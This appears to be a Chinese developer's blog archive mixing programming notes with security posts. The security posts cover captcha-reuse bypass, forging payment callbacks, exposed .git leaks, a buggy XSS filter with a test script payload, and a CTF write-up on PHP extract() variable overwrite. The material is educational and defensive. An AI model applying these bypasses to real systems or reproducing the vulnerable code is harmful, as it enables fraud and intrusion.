（2）. 验证码验证完成后没有销毁，导致验证码重复使用。验证码的值是在session中存储的，每次提交之后对比判断是否正确。如果验证完成后，没有更换或者清除session中的值，这时，如果不重新请求验证码就能一直使用之前的那个值了。这里有一个案例 http://wooyun.org/bugs/wooyun-2010-025053 还比如 https://github.com/tianyu0915/DjangoCaptcha/blob/1b43e2af98b055c2e4b55a724f772b352de9c914/DjangoCaptcha/__init__.py

1def check(self,code):
2 """ 
3 检查用户输入的验证码是否正确 
4 """
5 _code = self.request.session.get(self.session_key) or ''
6 if not _code:
7 return False
8 return _code.lower() == str(code).lower()

比如说这个验证码用在用户登录页面上，每次提交都需要验证码。我就可以把第一次显示验证码aeft设置的cookies记录下来，每次提交这个cookies和对应的验证码aeft就行了。这样就能绕过验证码了。我后来基于这个自己改写的验证码逻辑是

 1def check(self, code):
 2 """
 3 检查用户输入的验证码是否正确
 4 """
 5 _code = self.request.session.get(self.session_key) or ''
 6 if not _code:
 7 return False
 8 expires_time = self.request.session.get(self.captcha_expires_time) or 0
 9 # 注意 如果验证之后不清除之前的验证码的话 可能会造成重复验证的现象
10 del self.request.session[self.session_key]
11 del self.request.session[self.captcha_expires_time]
12 if _code.lower() == str(code).lower() and time.time() < expires_time:
13 return True
14 else:
15 return False

（3）. 验证码不过期验证码应该是有过期时间的，验证的时候判断，如果超时就认为是输入错误。参考上面我的代码

（4）. 各种脑残的判断是否需要验证码的逻辑问题

是否需要验证码是放在cookies或者session中的。比如说你登录的时候，错误次数超过3就要出现验证码，每次输入错误都加1，这个值存放在cookies或者session中，如果攻击者每次请求之前清除了本地的cookies，那服务器没办法识别了。这个情况下，应该是在数据库中对用户名和是否需要验证码进行绑定。
有的系统中，没有请求验证码的时候session中对应的值是空字符串或者固定值，这样的话，前端拦截了验证码请求之后，这个值就不会发生变化，验证码字段直接提交空字符串或者固定值就行了。

（5）. 验证码太弱，容易被识别。这个问题应该是安全和用户体验的平衡，常用的验证码识别技术参考 http://drops.wooyun.org/tips/4550 http://drops.wooyun.org/tips/141

**（6）.**新型验证码的问题比如说 https://www.v2ex.com/t/138479 这个验证码就是可以通过代码模拟得到几乎100%的通过率。还有图片验证码和语言验证码同时出现的那种，可能语音验证码就比图片验证码更好识别。

https原理和请求伪造

Wed, 18 Feb 2015 20:29:00 +0000

https握手过程

(1). 客户端向服务器发起ClientHello请求.发送的消息内容包括

支持的协议版本，比如TLS 1.0版
一个客户端生成的随机数，稍后用于生成"对话密钥"
支持的加密方法，比如RSA公钥加密、支持的压缩方法等。

(2). 服务器响应ServerHello。响应内容包括

确认使用的加密通信协议版本，比如TLS 1.0版本
一个服务器生成的随机数，稍后用于生成"对话密钥"
确认使用的加密方法，比如RSA公钥加密、服务器证书。

(3). 客户端再次响应。客户端收到服务器回应以后，首先验证服务器证书。如果证书不是可信机构颁布、或者证书中的域名与实际域名不一致、或者证书已经过期，就会向访问者显示一个警告，由其选择是否还要继续通信。如果证书没有问题，客户端就会从证书中取出服务器的公钥。然后进行响应，包括

一个随机数。该随机数用服务器公钥加密，防止被窃听、编码改变通知，表示随后的信息都将用双方商定的加密方法和密钥发送
客户端握手结束通知，表示客户端的握手阶段已经结束。这一项同时也是前面发送的所有内容的hash值，用来供服务器校验。

(4). 服务器的最后回应。服务器收到客户端的第三个随机数pre-master key之后，计算生成本次会话所用的"会话密钥"。然后，向客户端最后发送下面信息。

编码改变通知，表示随后的信息都将用双方商定的加密方法和密钥发送。
服务器握手结束通知，表示服务器的握手阶段已经结束。这一项同时也是前面发送的所有内容的hash值，用来供客户端校验。

至此，整个握手阶段全部结束。接下来，客户端与服务器进入加密通信，就完全是使用普通的HTTP协议，只不过用"会话密钥"加密内容。

还有几个问题

(1).对称加密和非对称加密（公钥私钥）

假设有A, B 两方，双方都有一对密钥（公钥和私钥）。公钥是对外开放的，任何人都可以得到；私钥是自己的，别人是获取不到的。公钥和私钥是相对应的，利用公钥进行加密，只能用私钥解密，使用公钥无法解密；利用私钥加密，则只能用公钥解密，使用私钥也无法解密。利用A的公钥对数据进行加密，则只有A的私钥可以解密，任何第三方都不可以解密数据。这样可以在不安全的通道上进行数据传输，保证只有A可以解密数据，任何第三方只能窃听到已加密的数据，即便拥有公钥也无法进行解密操作。利用A的私钥对约定好的数据加密，发送给B。B可以使用公钥进行解密，从而验证A的身份。任何第三方都无法模拟这样加密后的数据。这种形式广泛用于电子签名等。

(2).为什么不是使用公钥加密而是又生成了一个新的密钥呢？

由于"会话密钥"是对称加密，所以运算速度非常快，而服务器公钥只用于加密"对话密钥"本身，这样就减少了加密运算的消耗时间。

(3).怎么验证网站证书

根证书属于证书颁发结构，根证书的公钥默认内嵌在我们的系统中。网站证书是带有根证书的私钥签名，在https握手开始阶段由网站服务器发送给客户端。客户端收到网站证书后，立即校验证书的有效性。校验方法是：取根证书的私钥签名，利用客户端系统内嵌的根证书公钥解密。解密成功，则证书有效。聊到这里，我们可以看出若想伪造网站证书进行https代理，必须导入自己的根证书到系统中，才能使客户端认为伪造的网站证书是有效的。

怎么识别请求伪造和请求重放？

这个问题其实总结一下就是怎么识别非自己的客户端调用api。原问题在http://www.zhihu.com/question/28213465/answer/40043402

我的答案是现在基本无解，但是可以无限的增大难度。注意这个问题是架构为cs的，也就是客户端和服务器的，客户端一旦发出去是不受你的控制的，别人可以随便的分析和逆向。如果api调用是在服务器和服务器之间的，你的服务器代码别人拿不到，这样下面的方法是很有效的。

每个app都有一个app_id和app_secret，app_id可以公开，app_secret必须保密，但是也必须放在app的代码里面。app_secret的保密性就是最关键的环节。
每次app发出一个请求的时候，都需要对数据进行签名。大致就是综合数据、app_id、app_secret和时间戳进行hash运算。比如签名规则要求是按照字段的字母升序排列字段的值，直接拼接字符串，然后拼接app_secret，然后是time_stamp。这样的话，需要发送的数据如果是{'username": "root", "password": "123456"}，app_id="123098", app_secret="2348fhs823r4usfhhkfsdh"，拼接后的字符串就是"123456root2348fhs823r4usfhhkfsdh1424406627411"，然后对这个数据进行HMAC-SHA1或者SHA256运算。最终得到另一个字符串"204893FOIU2340SOI8R32R3OIUER"，然后将这个值、app_id、时间戳和数据一起发送，放在url参数里面或者http头里面都可以的。
服务器收到请求之后，首先看对比时间戳和当前时间，如果超过某个允许的延时时间间隔，比如说20秒钟，认为这是一个"旧的"请求，就拒绝接受。可能是请求被黑客截获了，过了一段时间又重放出去的。如果时间戳校验没问题，接下来就是按照相同的规则进行签名，看两个签名是否的是一致的。如果是一致的就说明数据没有被篡改或者数据不是没伪造的。因为黑客不掌握app_secret的情况下，是不可能伪造签名的。
有时候为了更加的安全，会将url也加入hash中，这样可以防止数据的目的地被篡改。还有一个是在数据中再加入一个nonce字段，每次都是随机生成，认为不会重复，这样在服务器允许的延时时间间隔中也只能使用一次了，没有nonce的时候，服务器允许时间间隔内数据也是可以使用多次的。

上面的防范还是说在app_secret保密的情况下，如果app被反汇编获取到了app_secret，那就无能为力了。当然这个一个对抗的过程，我们是可以无限的增大破解者的难度的。

限制每个app_id的api调用频率，超过频率禁用掉或者需要验证码
使用私有通信协议
对app代码进行混淆，封装成.so机器码等
使用ssl以及对数据进行非对称加密
对识别出来的非法调用，延时返回假数据

通过.git获取源码

Fri, 06 Feb 2015 11:58:12 +0000

本来是看到这个文章，觉得还不错，想简单翻译一下搬到博客上来。结果晚上就发现一篇更详细的ppt。

原 ppt 链接 http://www.slideshare.net/kost/ripping-web-accessible-git-files

中文翻译基于 http://zone.wooyun.org/content/18004，有修改~

在运行git init初始化代码库的时候会在当前目录下产生.git目录，用来记录代码的变更等等

.git目录结构如下

 1sky@linux:~/git-repo/test$ tree .git 
 2.git 
 3├── branches 
 4├── config 
 5├── description 
 6├── HEAD 
 7├── hooks 
 8│ ├── applypatch-msg.sample 
 9│ ├── commit-msg.sample 
10│ ├── post-update.sample 
11│ ├── pre-applypatch.sample 
12│ ├── pre-commit.sample 
13│ ├── prepare-commit-msg.sample 
14│ ├── pre-push.sample 
15│ ├── pre-rebase.sample 
16│ └── update.sample 
17├── info 
18│ └── exclude 
19├── objects 
20│ ├── info 
21│ └── pack 
22└── refs 
23 ├── heads 
24 └── tags 
25
269 directories, 13 files

发布代码的之后，直接把开发目录拷贝过去（.git）也在里面，然后就中奖了。。。

支付平台伪造支付结果漏洞

Wed, 04 Feb 2015 16:32:00 +0000

最近在使用某个第三方提供的支付 sdk 开发的时候，发现一个问题，可能造成支付结果伪造。目前漏洞已经修复。

整个的流程大致是这样的，你的前端(app 或者网页)将姓名地址手机等订单信息发送到服务器，服务器创建订单，然后使用这个订单号创建一个该 sdk 的 charge 对象，返回给前端，sdk 会使用这个 charge 对象调用支付宝等进行支付。等待用户支付完成后，sdk的服务器会向你的一个异步通知 notify_url 推送消息，然后服务器根据消息里面的订单号和支付结果修改付款状态。其实这个和支付宝等官方的 sdk 流程没什么大的区别，只是帮助封装了一些加密解密的操作。

因为这异步通知的消息格式是确定的，字段的值是全部可预测的的（因为在 charge 对象里面都能看到)，所以我们能不能伪造这个异步通知结果呢，这样的话，就能不付款买东西了。

但是问题来了，这个异步通知的 url 我们是不知道的。怎么才能获取到呢？其实是在一个 ajax 请求中泄露的。

登录管理控制台，链接是这个形式的，https://xxxx.com/app/detail?app_id=app_*****，后面就是我的 app_id，而这个在前端和服务器交互数据中可以看到的。把我的 app_id 换成别人的，结果发现点击哪里都是显示应用不存在，但是使用浏览器开发者工具能看到一个 ajax 请求，https://xxxx.com/auto/app?app_id=，返回结果确实是那个 app_id 的，里面就是包含 notify_url。

这样，将前面获取的订单号，app_id 等等直接构造一个 charge 对象，post 到那个 notify_url 就好了。服务器返回" success" 的话，就表明已经收到消息。

分析这个漏洞，sdk开发者和用户都有责任。

首先，sdk 开发者应该指导用户正确的去校验消息和确认支付状态。目前没有签名等校验方法，只能拿订单号再去查询一遍。而绝大多数的用户没有考虑的这么多，收到了通知就修改了订单状态。

翻了翻支付宝的文档，在 wap 版本中，它的异步通知 url 是每次自定义的，而且是不公开的。大致的流程是使用交易服务器使用订单号等换取一个 token，然后将 token 传递给前端。它的每次请求都有签名的，RSA 或者 MD5，RSA 的数据都是加密的，需要用自己的私钥解密后才能看到内容。MD5的那个是明文数据，MD5校验值是数据的一部分。这个时候，如果用户选择了 RSA 签名，基本上消息不能伪造了，因为在不泄露的情况下你不知道用户私钥(当然前面不泄露 notify_url 也不能伪造结果)，就没办法去加密数据。MD5的话，只能自己去验证签名了，因为 MD5 的时候加入了用户私钥。

用户在使用的时候我觉得是最安全的方法是：

将 notify_url 复杂化
收到异步通知后再去查询一下付款状态
使用 https
绑定通知服务器 ip
注意不同平台之间差异

为什么说注意不同平台之间差异呢，因为后台给使用这个支付服务的 app 抓包的时候，发现上面提到的有些信息并不完全是未知的。app支付的流程并不一样，上面流程中使用订单号换取 token 的步骤没了，而是直接将数据传递给 app，这个时候 notify_url 也是公开的了。所以还是需要服务器校验。

关于浮点运算

Sun, 25 Jan 2015 00:26:00 +0000

浮点运算是不精确的，对于这个，我最初的印象大致是来自c语言的这个代码

1#define EPSILON 0.0000001 //根据精度需要
2if(fabs(fa - fb) < EPSILON)
3{
4 printf("fa<fb\n");
5}

那时候也只是会这么机械的去用，但是不清楚原理。而最近在使用浮点数运算的时候也遇到一些坑，就深入的看了一下。

首先是几个测试用例

10.7 + 0.1
281.6 * 100
30.7 - 0.43

用 Python 或者浏览器的 console 计算上面的这几个式子都不会得到正确的结果。 Python是使用双精度浮点数的，一个浮点数占用8个字节，也就是64位。第1 bit 位用来存储符号，决定这个数是正数还是负数，然后使用11 bit 来存储指数部分，剩下的52 bit 用来存储尾数。浮点数能不能准确的显示和运算主要是和它转换为二进制后的数字位数有关。如果有位数小于64的二进制数，那么它肯定能准确的表示一个数字。相反，如果一个十进制数字需要超过64位的二进制来表示，那么肯定就是不准确的了，因为计算机只会存储64位二进制。比如说0.1的二进制形式其实是0.00011001100110011001100110011001100110011001100110011001100...

怎么算出来的？十进制转换为二进制的原则是

整数部分对 2 取余然后逆序排列
小数部分乘 2 取整数部分, 然后顺序排列

2.25 的二进制表示是? 整数部分的二进制表示为 10, 小数部分我们逐步来算 0.25 * 2 = 0.5 整数部分取 0 0.5 * 2 = 1.0 整数部分取 1 所以 2.25 的二进制表示为 10.01

0.1 的表示是什么? 我们继续按照浮点数的二进制表示来计算 0.1 * 2 = 0.2 整数部分取 0 0.2 * 2 = 0.4 整数部分取 0 0.4 * 2 = 0.8 整数部分取 0 0.8 * 2 = 1.6 整数部分取 1 0.6 * 2 = 1.2 整数部分取 1 0.2 * 2 = 0.4 整数部分取 0 ... 所以你会发现, 0.1 的二进制表示是 0.00011001100110011001100110011……0011 0011作为二进制小数的循环节不断的进行循环.

一致性哈希学习

Sun, 04 Jan 2015 23:20:00 +0000

最近总是听到一致性哈希，但是不了解具体的技术详情。今天搜索了一下，记录下来。

应用场景这里我先描述一个极其简单的业务场景：用4台Cache服务器缓存所有Object。那么我将如何把一个Object映射至对应的Cache服务器呢？最简单的方法设置缓存规则看起来一切正常，考虑下面两种情况：一：由于Cache3硬件损坏，所有Cache3上的缓存都失效了，需要把Cache3移除。二：由于负载已经无法承担业务增涨，决定添加一台Cache服务器。

第一种情况下，这个节点的数据就完全不可用了. 当然你会说可以通过数据迁移呀, 恰恰难在数据迁移, 因为这时候挂了, 节点数变为3了, 对key取hash后再 mod 3 的话, 大部分的key对应的节点都要改. 这个时候只能整个集群的数据都重新迁移一遍才能达到效果；第二种情况也是一样，需要进行数据迁移。

一致性哈希算法简介

一致性哈希算法是在哈希算法基础上，提出的在动态变化的Cache环境中，哈希算法应该满足的4个适应条件。

平衡性(Balance) 平衡性是指Hash的结果能够尽可能分布均匀，充分利用所有缓存空间。

单调性(Monotonicity) 单调性是指如果已经有一些内容通过哈希分派到了相应的缓冲中，又有新的缓冲加入到系统中。哈希的结果应能够保证原有已分配的内容可以被映射到新的缓冲中去，而不会被映射到旧的缓冲集合中的其他缓冲区。

分散性(Spread) 分散性定义了分布式环境中，不同终端通过Hash过程将内容映射至缓存上时，因可见缓存不同，Hash结果不一致，相同的内容被映射至不同的缓冲区。

负载(Load) 负载是对分散性要求的另一个纬度。既然不同的终端可以将相同的内容映射到不同的缓冲区中，那么对于一个特定的缓冲区而言，也可能被不同的用户映射为不同的内容。

使用一致性哈希算法解决上述问题 一致性哈希算法采用一种新的方式来解决问题，不再仅仅依赖object.hashCode()本身，而且将Cache的配置也进行哈希运算。具体步骤如下：

首先求出每个Cache的哈希值，并将其配置到一个0~2^32的圆环区间上。
使用同样的方法求出需要存储对象的哈希值，也将其配置到这个圆环上。
从数据映射到的位置开始顺时针查找，将数据保存到找到的第一个Cache节点上。如果超过2^32仍然找不到Cache节点，就会保存到第一个Cache节点上。

新增Cache服务器 假设在这个环形哈希空间中，Cache5被映射在Cache3和Cache4之间，那么受影响的将仅是沿Cache5逆时针遍历直到下一个Cache（Cache3）之间的对象（它们本来映射到Cache4上）。

移除Cache服务器 假设在这个环形哈希空间中，Cache3被移除，那么受影响的将仅是沿Cache3逆时针遍历直到下一个Cache（Cache2）之间的对象（它们本来映射到Cache3上）。

虚拟Cache服务器 考虑到哈希算法并不是保证绝对的平衡，尤其Cache较少的话，对象并不能被均匀的映射到 Cache上。为了解决这种情况，Consistent Hashing引入了“虚拟节点”的概念： “虚拟节点”是实际节点在环形空间的复制品，一个实际节点对应了若干个“虚拟节点”，这个对应个数也成为“复制个数”，“虚拟节点”在哈希空间中以哈希值排列。仍以4台Cache服务器为例，在下图中看到，引入虚拟节点，并设置“复制个数”为2后，共有8个“虚拟节点”分部在环形区域上，缓解了映射不均的情况。

引入了“虚拟节点”后，映射关系就从【对象--->Cache服务器】转换成了【对象--->虚拟节点---> Cache服务器】。查询对象所在Cache服务器的映射关系如下图所示。

这里还有一个Python实现的代码

 1import md5
 2
 3class HashRing(object):
 4
 5 def __init__(self, nodes=None, replicas=3):
 6 """Manages a hash ring.
 7
 8 `nodes` is a list of objects that have a proper __str__ representation.
 9 `replicas` indicates how many virtual points should be used pr. node,
10 replicas are required to improve the distribution.
11 """
12 self.replicas = replicas
13
14 self.ring = dict()
15 self._sorted_keys = []
16
17 if nodes:
18 for node in nodes:
19 self.add_node(node)
20
21 def add_node(self, node):
22 """Adds a `node` to the hash ring (including a number of replicas).
23 """
24 for i in xrange(0, self.replicas):
25 key = self.gen_key('%s:%s' % (node, i))
26 self.ring[key] = node
27 self._sorted_keys.append(key)
28
29 self._sorted_keys.sort()
30
31 def remove_node(self, node):
32 """Removes `node` from the hash ring and its replicas.
33 """
34 for i in xrange(0, self.replicas):
35 key = self.gen_key('%s:%s' % (node, i))
36 del self.ring[key]
37 self._sorted_keys.remove(key)
38
39 def get_node(self, string_key):
40 """Given a string key a corresponding node in the hash ring is returned.
41
42 If the hash ring is empty, `None` is returned.
43 """
44 return self.get_node_pos(string_key)[0]
45
46 def get_node_pos(self, string_key):
47 """Given a string key a corresponding node in the hash ring is returned
48 along with it's position in the ring.
49
50 If the hash ring is empty, (`None`, `None`) is returned.
51 """
52 if not self.ring:
53 return None, None
54
55 key = self.gen_key(string_key)
56
57 nodes = self._sorted_keys
58 for i in xrange(0, len(nodes)):
59 node = nodes[i]
60 if key <= node:
61 return self.ring[node], i
62
63 return self.ring[nodes[0]], 0
64
65 def get_nodes(self, string_key):
66 """Given a string key it returns the nodes as a generator that can hold the key.
67
68 The generator is never ending and iterates through the ring
69 starting at the correct position.
70 """
71 if not self.ring:
72 yield None, None
73
74 node, pos = self.get_node_pos(string_key)
75 for key in self._sorted_keys[pos:]:
76 yield self.ring[key]
77
78 while True:
79 for key in self._sorted_keys:
80 yield self.ring[key]
81
82 def gen_key(self, key):
83 """Given a string key it returns a long value,
84 this long value represents a place on the hash ring.
85
86 md5 is currently used because it mixes well.
87 """
88 m = md5.new()
89 m.update(key)
90 return long(m.hexdigest(), 16)

对于上面的代码我的看法是能比较清楚的解析一致性哈希的原理，但是实际使用的时候可能存在一些问题，比如md5算法效率问题，保存缓存节点的sorted_keys查找的时候的O(n)时间复杂度问题。

2015 is coming in 48 hours

Mon, 29 Dec 2014 19:06:22 +0000

现在是29号晚上了，距离2015年还有两天的时间。

以前每年都都写写总结的习惯，刚才还看了看前几年写的东西，有些东西现在看起来还是挺幼稚的，挺可笑的呢。

来大学近两年半了，今年确实是收获最多的一年。今天上实验课还偶然在一个没有被还原的win7系统上看到了我去年11月份刚开始学习Django的时候写的代码呢，虽然写的惨不忍睹，哈哈。

2014年总结的话，基本分为两部分，前半年和后半年。

前半年基本上是在实验室度过的。去年秋季学期之后加入实验室，这个真正是我开始快速成长的起点，那时候只会写c语言和很烂的Python，写个代码，两三百行就觉得自己很厉害了，结果别人几十行就完事了。。。后来因为实验室学长们使用Python和Django的比较多，所以我也是重新开始写Python和Django。从第一个项目简单的学生管理系统到微信公众平台，到正在进行第三次迭代的天目020网店，代码量增加了很多，对Python的理解也是不断的在加深。后来斌哥就是建议我去找一个实习，我就四处去投简历啊，但是绝大多数的都没有任何消息，毕竟没经验时间短。好不容易有一个面试机会，我还是被虐的很惨，首先是QQ视频，后来是做了一套关于Python和Django的题目。那时候那人提到的那些语法和知识，我基本上都听说过名字，但是从来没用过。当然现在我对那些东西理解的已经好多了，虽然前段时间重新做了一边那套题目，还是没有得到多少分，但是我知道我自己在进步。

后来因为一个偶然的机会，孙同学介绍我去做一个创业项目，一开始是做水果020，现在是做零食。当时我用了大约一周的时候就写出了一个雏形，当然也是能凑合用的。后来经过了暑假的第二次改版，现在的第三次修改，我觉得已经比较完善了。反正自我感觉是比较好用的。现在还计划加上推荐系统和手机app的api接口。

后半年大约就是暑假之后了，暑假大部分的时间都是留在青岛的，因为我找到工作了。公司的详情不能说太多，大致是关于汽车的。也是创业项目，从一开始我和老板两个人到现在5个人，从一开始的小写字楼办公室到现在的大办公室，我们欣喜的看到公司的成长。当然在技术上我也学到了很多，也认识了可爱的同事们。我真心觉得公司里面的这几个人在技术水平上在青岛是可以数得着的，有人学习新东西特别快，有人非常擅长分析产品当然代码也是很厉害。这样一晃到了现在。公司的产品第一版就要出来了，要接受市场的考验了。因为下学期上课的问题，我决定下学期就不去了，虽然我也是挺看好这个项目的。

昨天是2015年考研结束的日子，无数的学长学姐门可以暂时的松一口气了。但是我不知道，一年后的我，是怎么样的。因为我经常是吐槽青大，关于老师的水平等等，真的是槽点太多了。普通大学和一线院校的区别，真的是屌丝和白富美的差距。要不就去一个顶尖的学校，要不就去一个顶尖的公司。这个等再过一小段时间再说吧。

工作发了一点工资的，放假回家打算买个rMBP，给父母买两个手机。在家潜心学习一下自己一直很想认真学习，却因为太浮躁没空学的东西，比如算法。

2014年快速成长了，希望2015年能成长的更快，当然这个需要自己付出更多的努力，要能沉下心来学习，不要受到外界的干扰。

--EOF

python new和metaclass

Mon, 15 Dec 2014 00:16:00 +0000

先说__new__

__new__原型为object.__new__(cls,[...]),cls是一个类对象。当你调用C(*arg, **kargs)来创建一个类C的实例时。python内部调用是C.__new__(C, *arg, **kargs),然后返回值是类C的实例c。在确认c是C的实例后，python再调用C.__init__(c, *arg, **kargs)来实例化c

 1class Person(object):
 2 def __new__(cls, name, age):
 3 print '__new__ called.'
 4 return super(Person, cls).__new__(cls, name, age)
 5
 6 def __init__(self, name, age):
 7 print '__init__ called.'
 8 self.name = name
 9 self.age = age
10
11 def __str__(self):
12 return '<Person: %s(%s)>' % (self.name, self.age)
13
14if __name__ == '__main__':
15 piglei = Person('piglei', 24)
16 print piglei

__new__方法主要是当你继承一些不可变的class时(比如int, str, tuple)，提供给你一个自定义这些类的实例化过程的途径。还有就是实现自定义的metaclass

比如这样是没效果的

1class PositiveInteger(int):
2 def __init__(self, value):
3 super(PositiveInteger, self).__init__(self, abs(value))

这样才行

1class PositiveInteger(int):
2 def __new__(cls, value):
3 return super(PositiveInteger, cls).__new__(cls, abs(value))

使用__new__可以实现单例模式

1class Singleton(object):
2 def __new__(cls):
3 if not hasattr(cls, 'instance'):
4 cls.instance = super(Singleton, cls).__new__(cls)
5 return cls.instance

或者

1class Singleton(object):
2 _singleton = {}
3 
4 def __new__(cls):
5 if not cls._singleton.has_key(cls):
6 cls._singleton[cls] = object.__new__(cls)
7 return cls._singleton[cls]

下面是__metaclass__

“元类就是深度的魔法，99%的用户应该根本不必为此操心。如果你想搞清楚究竟是否需要用到元类，那么你就不需要它。那些实际用到元类的人都非常清楚地知道他们需要做什么，而且根本不需要解释为什么要用元类。” —— Python界的领袖 Tim Peters

比如我们想给python的list增加一个add方法，实现append方法的功能的时候，我们可以这样

1class MyList(list):
2 def add(self, value):
3 self.append(value)

还可以这样

由腾讯登陆js加密方法猜想腾讯数据库密码加密方法

Thu, 20 Nov 2014 19:51:00 +0000

我测试的qq空间的登陆页面http://qzone.qq.com/，打开浏览器调试工具，然后qq号和密码随便写，提交请求的时候就能看到是一个http/get请求，是一个js发出去的。将这个js下载下来，然后格式化一下代码。在http://paste.ubuntu.org.cn/1873103备份一个，蛋疼的github gitst貌似被墙了。里面有个这样的函数

 1getSubmitUrl: function(b) {
 2 var a = pt.plogin.loginUrl + b + "?";
 3 var f = {};
 4 if (b == "login") {
 5 f.u = encodeURIComponent(pt.plogin.at_accout);
 6 f.verifycode = $("verifycode").value;
 7 if (pt.plogin.needShowNewVc) {
 8 f.pt_vcode_v1 = 1
 9 } else {
10 f.pt_vcode_v1 = 0
11 }
12 f.pt_verifysession_v1 = pt.plogin.pt_verifysession || $.cookie.get("verifysession");
13 var d = $("p").value;
14 if (pt.plogin.armSafeEdit.isSafe) {
15 d = pt.plogin.armSafeEdit.safepwd
16 }
17 if (pt.plogin.RSAKey) {
18 f.p = $.Encryption.getRSAEncryption(d, f.verifycode, pt.plogin.armSafeEdit.isSafe);
19 f.pt_rsa = 1
20 } else {
21 f.p = $.Encryption.getEncryption(d, pt.plogin.saltUin, f.verifycode, pt.plogin.armSafeEdit.isSafe);
22 f.pt_rsa = 0
23 }
24 }

其中调用的加密函数是这样的

 1$.Encryption = function() {
 2 var hexcase = 1;
 3 var b64pad = "";
 4 var chrsz = 8;
 5 var mode = 32;
 6 //省略一些密码算法 主要是md5和base64算法
 7 function getEncryption(password, uin, vcode, isMd5) {
 8 var str1 = hexchar2bin(isMd5 ? password: md5(password));
 9 var str2 = md5(str1 + uin);
10 var str3 = md5(str2 + vcode.toUpperCase());
11 return str3
12 }
13 function getRSAEncryption(password, vcode, isMd5) {
14 var str1 = isMd5 ? password: md5(password);
15 var str2 = str1 + vcode.toUpperCase();
16 var str3 = $.RSA.rsa_encrypt(str2);
17 return str3
18 }
19 return {
20 getEncryption: getEncryption,
21 getRSAEncryption: getRSAEncryption
22 }
23} ();

上面的那个getSubmitUrl方法主要就是拼接登陆用的url，其中就要带上密码。可以发现密码并不是明文传输的，而且是有两种不同的算法，一个是RSA，一个是md5。

LRU Cache

Sun, 16 Nov 2014 18:14:00 +0000

https://oj.leetcode.com/problems/lru-cache/

这个题目在leetcode连续很长时间都是热门题目，也听说面试的时候有遇见过的，今天下午就认真的做了一下。

Cache中的存储空间往往是有限的，当Cache中的存储块被用完，而需要把新的数据Load进Cache的时候，我们就需要设计一种良好的算法来完成数据块的替换。LRU的思想是基于“最近用到的数据被重用的概率比较早用到的大的多”这个设计规则来实现的。当空间不足的时候，就清除早期设置的而且不常用的数据。这也是操作系统中可能用到的页面置换算法，这段时间得关注一下操作系统中各种调度算法的实现，有时候概念很好理解，但是实际去写的时候就麻烦了。

其实这个题目思路并不是很难，关键是怎么找出最快的方法。开始我做的时候，就是简单的使用Python字典，对于每次命中的get操作，给这个key的"热度"加1，然后删除的时候找到最低的热度删除。因为Python的字典就是基于hash的，所以get操作很简单，主要是在set而且空间不足的时候，要去查找最低的热度值，这个操作明显是O(n)的时间复杂度，然后就超时了。其实后来认真想了一下，这个方法其实是错的，这个计算热度的话，只是看了数据的访问次数，而没有考虑到访问时间，是LFU算法了。

后来还尝试了几种别的办法，最终的到的提示是使用类似队列的结构来保存每个节点的"热度"，每次get或者set一个值的时候就把这个key放到最上面，然后在最底部的肯定就是最不常用的元素了。这样就避免了使用O(n)来查找那个元素。

 1#coding=utf-8
 2class LRUCache:
 3
 4 # @param capacity, an integer
 5 def __init__(self, capacity):
 6 self.capacity = capacity
 7 self.cache = {}
 8 self.history = []
 9 
10 # @return an integer
11 def _get(self, key):
12 value = self.cache.get(key, None)
13 if value:
14 self.history.remove(key)
15 self.history.append(key)
16 return value
17 
18 def get(self, key):
19 cache = self._get(key)
20 if cache:
21 return cache
22 return -1
23
24 # @param key, an integer
25 # @param value, an integer
26 # @return nothing
27 def set(self, key, value):
28 cache = self._get(key)
29 #如果有这个kv 就更新一下 而且这个时候已经变换了history中的位置
30 if cache:
31 self.cache[key] = value
32 else:
33 if len(self.cache) >= self.capacity:
34 oldest = self.history[0]
35 self.cache.pop(oldest)
36 self.history.remove(oldest)
37 self.history.append(key)
38 self.cache[key] = value

这个题里面应该还有一个经常会搞错的地方，就是在判断get时候成功的时候，如果题目没有限定value的值都是正数，就不能使用if self.get(key) == -1来确定没有命中缓存了。因为有可能value的值就是-1。当然这个题目确定了value就是正数了。

两个非常隐蔽的bug导致的Python xss filter绕过

Fri, 14 Nov 2014 18:49:00 +0000

最近在搜索Python的xss filter的时候看到这样一篇文章 http://www.tuicool.com/articles/RjyqYn (时间有点久远了，原文不知道为什么删掉了)。代码如下

 1#coding=utf-8
 2import re
 3from BeautifulSoup import BeautifulSoup
 4regex_cache = {}
 5 
 6def search(text, regex):
 7 regexcmp = regex_cache.get(regex)
 8 if not regexcmp:
 9 regexcmp = re.compile(regex)
10 regex_cache[regex] = regexcmp
11 return regexcmp.search(text)
12 
13# XSS白名单
14VALID_TAGS = {'h1':{}, 'h2':{}, 'h3':{}, 'h4':{}, 'strong':{}, 'em':{}, 
15 'p':{}, 'ul':{}, 'li':{}, 'br':{}, 'a':{'href':'^http://', 'title':'.*'}, 
16 'img':{'src':'^http://', 'alt':'.*'}}
17 
18def parsehtml(html):
19 soup = BeautifulSoup(html)
20 for tag in soup.findAll(True):
21 if tag.name not in VALID_TAGS:
22 tag.hidden = True
23 else:
24 attr_rules = VALID_TAGS[tag.name]
25 print tag.attrs, len(tag.attrs)
26 for item in tag.attrs:
27 #print item
28 attr_name = item[0]
29 attr_value = item[1]
30 #print attr_name, attr_value
31 #检查属性类型
32 if attr_name not in attr_rules:
33 del tag[attr_name]
34 print tag.attrs, "----"
35 #print "del", attr_name
36 continue
37 
38 #检查属性值格式
39 if not search(attr_value, attr_rules[attr_name]):
40 del tag[attr_name]
41 
42 
43 return soup.renderContents()
44 
45text = '''
46 <script>alert(1)</script>
47 '''
48print parsehtml(text)

备份：https://gist.github.com/virusdefender/5ec5e1be9738d87122e0

HCTF2014 部分write up

Wed, 12 Nov 2014 19:45:00 +0000

1 查看网页源代码提示index.php.bak，下载下来源代码如下

 1<?php
 2$flag='xxx';
 3extract($_GET);
 4if(isset($gift))
 5{
 6 $content=trim(file_get_contents($flag));
 7 if($gift==$content)
 8 {
 9 echo'hctf{...}';
10 }
11 else
12 {
13 echo'Oh..';
14 }
15}?>

很明显，这里存在变量覆盖漏洞，构造参数gift为本文件内容，flag=index.php.bak或者两个参数都留空就可以得到flag。关于这个漏洞可以参考 http://zone.wooyun.org/content/1872

2 easy xss

